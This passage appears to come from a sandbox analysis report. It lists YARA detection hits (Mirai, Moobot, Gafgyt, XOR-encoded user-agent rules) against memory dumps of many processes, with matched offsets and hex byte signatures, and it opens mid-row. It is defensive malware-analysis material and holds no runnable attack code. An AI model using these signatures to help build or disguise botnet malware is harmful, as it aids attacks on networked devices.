39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6673.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6873.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7246.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6652.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7382.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6449.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6449.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6449.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6449.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6449.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6449.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6310.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7196.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7196.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7196.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7196.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7196.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7196.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6500.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7422.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6715.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6715.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6715.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6715.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6715.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6715.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7383.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7199.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6390.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6390.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6390.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6390.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6390.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6390.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6516.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7042.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7315.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7315.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7315.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 